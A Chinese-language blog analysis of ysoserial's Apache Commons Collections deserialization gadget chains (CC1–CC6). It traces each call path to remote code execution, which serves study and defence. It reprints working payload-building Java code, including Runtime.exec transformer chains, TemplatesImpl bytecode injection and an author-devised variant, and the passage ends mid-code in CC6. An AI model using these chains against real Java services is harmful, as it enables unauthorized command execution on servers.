ysoserial分析【一】 之 Apache Commons Collections

2022-10-15,,,,

目录
0x00 前言
0x01 基础知识
Transformer
利用InvokerTransformer造成命令执行
Map
TransformedMap
LazyMap
AnnotationInvocationHandler
动态代理
0x02 Commons Collections Gadget 分析
CommonsCollections1
CommonsCollections2
疑问
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
0x03 总结
归纳
补丁
0x04 参考

0x00 前言

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

0x01 基础知识

Transformer

Transfomer是Apache Commons Collections库引入的一个接口,每个具体的Transformer类必须实现Transformer接口,比如我自己定义了一个MyTransformer类:

当一个Transformer通过TranformerMap的decorate方法绑定到Map的key或value上时,如果这个Map的key或value发生了变化,则会调用Transformer的transform方法,MyTransformer的transform方法是return this.name。

测试用例如下:

14行创建了一个MyTransformer,并使之this.name="trans-value"。然后在16-18行创建了一个Map,并在20行通过decorate方法将MyTransformer绑定到Map的value上(第二个参数为绑定到key上的Transformer)。接着在22-23行对Map进行setValue,即对Map的value进行修改。这时就会对value触发已经绑定到Map-Value上的MyTransformer的transform方法。看一下MyTransformer的transform方法,已知其直接返回this.name,由于this.name在14行已经被设置成了"trans-value",故这里直接返回这个字符串,赋值给value。看一下运行结果:

可以看到,value已经被transform方法修改成了this.name。

以上是自己写的一个简单的Transformer,下面看一下Apache-Common-Collections-3.1提供的一些Transformer。

首先是ConstantTransformer,跟上面的MyTransformer类似,transform方法都是返回实例化时的第一个参数。

还有一个是InvokerTransformer类,在其transform()方法中可以通过Java反射机制来进行执行任意代码。

可以看到,有三个内部变量可控。然后看他的transform方法。

可以看到,59-61行通过反射,可以调用任意类的任意方法,通过还会传入任意参数,由于input也可控(即新key/value的值),所以由于所有内部变量可控,这里存在RCE。

还有一个比较有意思的Transformer是ChainedTransformer,可以通过一个Trasnformer[]数组来对一个对象进行链式执行transform()。

利用InvokerTransformer造成命令执行

首先利用ChainedTransformer类构建一个Transformer链,通过调用多个Transformer类来造成命令执行,比如以下代码:

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; Transformer transformerChain = new ChainedTransformer(transformers);

当调用ChainedTransformer.transform()时,会把Transformer[]数组中的所有Transformer一次执行transform()方法,造成命令执行。以上代码相当于这一行代码:

Runtime.getRuntime().getClass().getMethod("exec",new
Class[]{String.class}).invoke(Runtime.getRuntime(),"calc.exe");

Map

利用Transform来执行命令有时还需要绑定到Map上,这里就讲一下Map。抽象类AbstractMapDecorator是Apache Commons Collections引入的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

TransformedMap

比如TransformedMap:

Map tmpmap = TransformedMap.decorate(normalMap, KeyTransformer, ValueTransformer);

可以将不同的Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法

因此我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,自动触发chainedtransformer。

比如以下代码

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; Transformer transformerChain = new ChainedTransformer(transformers); Map normalMap = new HashMap();
normalMap.put("11", "aa"); Map transformedMap = TransformedMap.decorate(normalMap, null, transformerChain); Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("newValue");

执行时会自动弹出计算器

LazyMap

除了TransformedMap,还有LazyMap:

Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法

这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一。

AnnotationInvocationHandler

关于AnnotationInvocationHandler类,这个类本身是被设计用来处理Java注解的,可以参考 JAVA 注解的基本原理

动态代理

使用Proxy类实现AOP(面向切面编程)

Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)
/*
ClassLoader loader:
它是类加载器类型,你不用去理睬它,你只需要知道怎么可以获得它就可以了:MyInterface.class.getClassLoader()就可以获取到ClassLoader对象,没错,只要你有一个Class对象就可以获取到ClassLoader对象; Class[] interfaces:
指定newProxyInstance()方法返回的代理类对象要实现哪些接口(可以指定多个接口),也就是代表我们生成的代理类可以调用这些接口中声明的所有方法。 InvocationHandler h:
它是最重要的一个参数!它是一个接口!它的名字叫调用处理器!无论你调用代理对象的什么方法,它都是在调用InvocationHandler的invoke()方法!
*/

可以参考 Java动态代理InvocationHandler和Proxy学习笔记

0x02 Commons Collections Gadget 分析

CommonsCollections1

public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
} public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
//利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
} public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情)
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//调用Proxy.newProxyInstanc()来创建动态代理
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
} public InvocationHandler getObject(final String command) throws Exception {
//创建Transformer
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) }; final Map innerMap = new HashMap();
//将transformerChain绑定到LazyMap中,当调用LazyMap.get(key)的key不存在时,会调用transformerChain的Transformer类的transform()方法
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//跟进一下这个方法,注意这里传入的第一个参数是lazyMap
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
//创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain return handler;//返回对象实例,用于序列化作为poc
}

首先是创建利用反射RCE的ChainedTransformer对象,然后将之通过LazyMap.decorate()绑定到LazyMap上,当调用LazyMap.get(key)的key不存在时会调用Transformer的transform()方法。

然后开始创建动态代理

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

createMemoitizedProxy()定义如下

public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
} public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
//利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
} public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情)
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//调用Proxy.newProxyInstanc()来创建动态代理
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

可以看到底层是在createProxy()中调用了Proxy.newProxyInstance()来创建动态代理,关于动态代理的原理请看文章的最后一部分,这里就不做解释了。这里创建动态代理的第3个参数是AnnotationInvocationHandler实例,这个实例的memberValues变量的值就是我们上面创建的LazyMap。

这里使用动态代理的意义在于,只要调用了LazyMap的任意方法,都会直接去调用AnnotationInvocationHandler类的invoke()方法。

至此动态代理已经完成了,创建了代理类实例mapProxy。由于动态代理的特性,当我们调用mapProxy的任何方法时会自动调度给InvocationHandler实现类的invoke()方法,在这里也就是AnnotationInvocationHandler类的invoke()方法。看一下源码

在52行,this.memberValues正是我们上面创建的LazyMap实例,结合LazyMap的特性,只要var4这个键是不存在的,那么就会调用绑定到LazyMap上的Transformer类的transform()方法,也就是我们通过Java反射进行RCE的ChainedTransformer。

继续往下看

    //创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain return handler;//返回对象实例,用于序列化作为poc

createMemoizedInvocationHandler()就是简单的创建AnnotationInvocationHandler类的实例,并将参数赋值给类的成员变量memberValues。这个实例会被用来序列化作为payload,在触发反序列化漏洞时,会调用AnnotationInvocationHandler类的readObject()方法,而这个实例的memberValues参数的值就是我们上面创建的代理类。看一下readObject()的源码

在283行,调用了this.memberValues的entrySet()方法。由于this.memberValues是我们的代理类,因此并不会真正的进入entrySet()方法,而是进入我们创建动态代理时绑定的AnnotationInvocationHandler的invoke()方法。回顾一下

var4的值是var2.getName(),也就是调用的方法名,即'entrySet'。不满足45行之后的几个if判断,直接进入52行,由于this.memberValues是我们创建的空LazyMap,自然不存在名为entrySet的键,因此进入LazyMap绑定的Transformer类的transform()方法中,然后就是...你懂的了。到这里逻辑基本就可以捋顺了,从漏洞触发点开始,调用链大概是:

ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InvokerTransfomer.transform() -> RCE

要注意,这里的两个this.memberValues是不一样的,一个是反序列化的对象的属性,一个是代理的handler对象的属性。

继续把剩下的代码看完。下面一行,通过Reflections.setFieldValue来将我们上面构造的Transformer RCE链赋值给transformerChain的iTransformers属性的值,最后return handler用于序列化,生成payload。尽管这里到最后才把RCE链赋值给transformerChain,实际上也是可以的,LazyMap.decorate()的那个transformerChain也会更新。其实这里完全可以在程序最开始就赋值给transformerChain,经过我的调试,似乎不会影响结果。

CommonsCollections2

直接看一下代码:

public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//创建TemplatesImpl实例,将反射调用恶意命令的语句插入到一个通过javassist实例的构造方法后,然后把这个实例编译成字节码,赋值给_bytecodes属性。createTemplatesImpl()函数看下方源码.
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));//创建优先队列类,绑定Comparator为上面的transformer实例,当插入元素时,会自动调用transformer.compare()进行排序
// stub data for replacement later
queue.add(1);
queue.add(1); // switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//设置InvokerTransformer在触发transform()时,调用元素的newTransformer方法。 // switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;//将上面的TemplatesImpl实例add给queue
queueArray[1] = 1; return queue;
} public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
} return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
} public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性
throws Exception {
final T templates = tplClass.newInstance();//TemplatesImpl实例 // use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));//添加StubTransletPayload类到ClassPool中
pool.insertClassPath(new ClassClassPath(abstTranslet));//添加AbstractTranslet类
final CtClass clazz = pool.get(StubTransletPayload.class.getName());//加载StubTransletPayload类
// run command in static initializer
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);//设置AbstractTranslet为StubTransletPayload的父类 final byte[] classBytes = clazz.toBytecode();//StubTransletPayload的字节码 // inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)//
}); // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

首先第一行

final Object templates = Gadgets.createTemplatesImpl(command);

创建了一个TemplatesImpl实例,利用javassist将我们反射执行系统命令的语句编译成字节码赋值给实例的_bytecodes属性。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性
throws Exception {
final T templates = tplClass.newInstance();//TemplatesImpl实例 ... final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。 ... final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)//
}); ... return templates;
}

这其实就是JDK 7u21 gadget中执行命令的方式,在反序列化时,调用TemplatesImpl的defineTransletClasses()方法,从而将_bytecodes中的内容进行实例化,造成RCE。看一下这个方法:

而这个_class会在getTransletInstance()方法中进行实例化:

由于以上两个都是私有方法,无法通过InvokerTransformer直接调用,因此需要找到调用getTransletInstance()的地方。比如newTransformer()方法(也就是本gadget利用的方法):

getOutputProperties()也可以利用,因为调用了newTransformer()方法。

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

已知调用这些方法可以触发命令执行,可是我们如何在反序列化时调用TemplatesImpl的这些方法呢?本POC中巧妙地利用了PriorityQueue,废话不多说,先往下看。

final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(1);

在创建完TemplatesImpl实例之后,紧接着就创建了InvokerTransformer和PriorityQueue实例,第二个参数是new TransformingComparator(transform)。这个参数用于将PriorityQueue中的元素进行排序,也就是调用TransformingComparator.compare()进行排序,看一下compare()方法

public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里的this.transformer就是构造函数传的参数,在本例中也就是InvokerTransformer实例,可以看到compare()内部会调用InvokerTransformer.transform()方法,而InvokerTransformer已经实例化过了。因此总的来说,这里会调用InvokerTransformer.transform()对queue中的元素进行比较,由于这里的InvokerTransformer实例的iMethodName属性是toString,因此,这里会调用queue中每个元素的toString方法。接着往下看

Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//TemplatesImpl类有newTransformer()方法

final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1; return queue;

首先利用反射对transformer的iMethodName由之前的toString赋值为newTransformer。也就是说,之后再对queue中的元素进行比较时,底层会调用每个元素的newTransfomer()方法。而7u21 gadget中正是TemplatesImpl.newTransformer()方法对_bytecodes属性的字节码进行了实例化,是不是悟到了什么..

然后又利用反射,将queue的第一个元素重新赋值为templates实例,也就是本POC最开始的TemplatesImpl实例。最后返回queue,进行序列化。有个小细节,PriorityQueue.writeObject()方法中同样会对queue中的元素也进行序列化,反序列化也是如此。

到这里其实思路已经很清晰了,利用PriorityQueue的对元素的compare,调用到InvokerTransformer,然后对其中的元素执行newTransformer()方法,而我们可以控制元素为含有执行恶意代码的类的_bytecodes属性的TemplatesImpl实例,从而执行TemplatesImpl.newTransformer()对执行恶意代码的类进行实例化,从而造成RCE。调用链大概是:

ObjectInputStream.readObject() -> PriorityQueue.readObject() -> 【TemplatesImpl.readObject()】 -> PriorityQueue.heapify() -> TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化 -> RCE

疑问

1.为什么要用优先队列来实现?为什么不直接用InvokerTransformer结合TemplatesImpl来实现,只不过需要先触发InvokerTransformer.transform()而已?

答:这只是一种方法而已,并不是唯一一种。目前来说,我感觉ysoserial中的几个Commons Collections中的主要点就是如何从反序列化的readObject()到反射执行代码(比如InvokerTransfomer)的过程,主要是这个中间的方法。比如1中利用的AnnotaionInvocationHandler结合动态代理、2中利用PriorityQueue。

2.为什么要用InvokerTransformer结合TemplatesImpl而不是直接通过PriorityQueue调用ChainedTransformer来直接执行系统命令?

答:这样也是可以的,按照ysoserial的这种定义,这也算是一个新gadget哈哈,poc如下

public Queue<Object> getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) }; final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformerChain));
queue.add(1);
queue.add(1); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return queue;
}

3.为什么不用InvokerTransformer直接执行对Runtime类来反射执行exec()方法?

答:这样首先要把Runtime.getRuntime() add到queue队列中。可是在序列化时需要对queue的元素同样进行序列化,而Runtime没有实现序列化接口,因此会报错。

CommonsCollections3

本gadget在ysoserial中并没有调用栈,取而代之的只有一行

也就是说这条链与CommonsCollections1的区别就是,在CommonsCollections1中使用了ChainedTransformer结合InvokerTransformer类来构建链式反射执行命令的语句,而这里使用ChainedTransformer结合InstantiateTransformer类来进行替代,最终执行的链则是结合了7u21中的TemplatesImpl。

回顾CommonsCollections1,其中利用动态代理的机制,最终触发LazyMap绑定的ChainedTransformer实例,造成命令执行。而在这里由于唯一的区别就是最终执行命令的方式不太一样,因此我们只要分析反序列化之后调用的Transformer类即可,至于如何到达Transformer类,与CommonsCollections1一模一样,参考CommonsCollections1即可。

看一下构造exp的前面部分代码

public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )}; ...
}

与CommonsCollections2类似,先创建一个TemplatesImpl实例,其_bytecodes属性中包含能执行恶意语句的类的字节码。然后在ChainedTransformer中有两个Transformer,第一个是ConstantTransformer,直接返回TrAXFilter.class传递给下一个Transformer,也就是InstantiateTransformer。InstantiateTransformer的构造方法传入了两个参数,跟进一下。

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

看一下transform()方法

public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}

这里直接获取了Object input的构造方法,然后根据这个构造方法创建了一个input类的实例。在本例中input正是上面的ConstantTransformer传下来的,也就是TrAXFilter.class。因此为了方便理解,这里的大概逻辑是这样的

Constructor con = ((Class)TrAXFilter.class).getConstructor(Templates.class);
return con.newInstance(templatesImpl);

也就是将TemplatesImpl实例作为参数,传入TrAXFilter类的构造方法中。看一下其构造方法

可以看到,其中直接调用了构造参数的newTransformer()方法!是不是很眼熟,没错,这就是CommonsCollections2中通过InvokerTransformer调用的TemplatesImpl类的那个方法。因此到这里整个逻辑就通了。

调用链是结合了CommonsCollections1与7u21,大概如下

ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE

CommonsCollections4

与CommonsCollections3一样,这个gadget也没写调用链,只说了这条链是将CommonsCollections2中InvokerTransformer换成了InstantiateTransformer,也就是CommonsCollections3中的那个类,利用方法基本一致。

看一下源码

public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args); // grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));//创建优先队列
queue.add(1);
queue.add(1); // swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates; return queue;
}

其实这个就是将CommonCollections2中TransformingComparator的构造函数参数由InvokerTransformer换成了ChainedTransfomer。在CommonsCollections2中,此处的调用链是

TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化

而这里的链则是换掉了后面这部分,取而代之的是与CommonsCollections3中类似的InstantiateTransformer。此时的链是

TransformingComparator.compare() -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE

CommonsCollections5

回顾一下CommonsCollections1中,先利用动态代理调用AnnotationInvocationHandler.invoke(),然后在其中再调用LazyMap.get(not_exist_key),导致触发LazyMap绑定的Transformer。想想这个链能不能简单一点,为什么不找一个readObject()中就有对成员变量调用get(xxx)方法的类?CommonsCollections5正是基于这个思路,因此这个gadget与1的区别仅在于从反序列化到ChainedTransformer.transform()之间,之后的链是一样的。

看一下源码

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例 Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val;
}

可以发现,LazyMap实例化之前的几行都跟CommonsCollection1一模一样。接着往下看剩下几行

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例 Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;

首先将LazyMap实例和foo字符串传入TiedMapEntry构造函数构建实例,然后把这个实例通过反射赋值给BadAttributeValueExpException实例的val属性,最后返回BadAttributeValueExpException实例用于序列化。我们倒着看,先看一下BadAttributeValueExpException的readObject()方法:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null); if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

可以看到,在if语句的第三个语句块中,调用了val属性的toString()方法,而这个val属性就是我们的TiedMapEntry实例。看一下TiedMapEntry这个类,以及其toString()方法:

public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key; public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
} public Object getKey() {
return this.key;
} public Object getValue() {
return this.map.get(this.key);
} public String toString() {
return this.getKey() + "=" + this.getValue();
} ...
}

再回顾构造gadget时是如何实例化TiedMapEntry类的:


TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

可以看到,LazyMap实例赋值给了this.map,字符串foo赋值给了this.key。然后在调用TiedMapEntry.toString()时间接调用了TiedMapEntry.getValue(),其中调用了this.map.get(this.key)。在这条gadget中也就是

LazyMap.get("foo");

由于LazyMap实例中并不存在foo这个键,因此触发了绑定在LazyMap上的Transformer类的transform()。

调用链如下

BadAttributeValueExpException.readObject() -> TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> RCE

CommonsCollections6

这个gadget与5差不多,都是利用了TiedMapEntry中的方法来触发LazyMap绑定的Transformer,不过从反序列化到TiedMapEntry的过程不太一样,先看一下源码

public Serializable getObject(final String command) throws Exception {

    final String[] execArgs = new String[] { command };

    final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1);
map.add("foo");//添加一个键 Field f = null;
try {
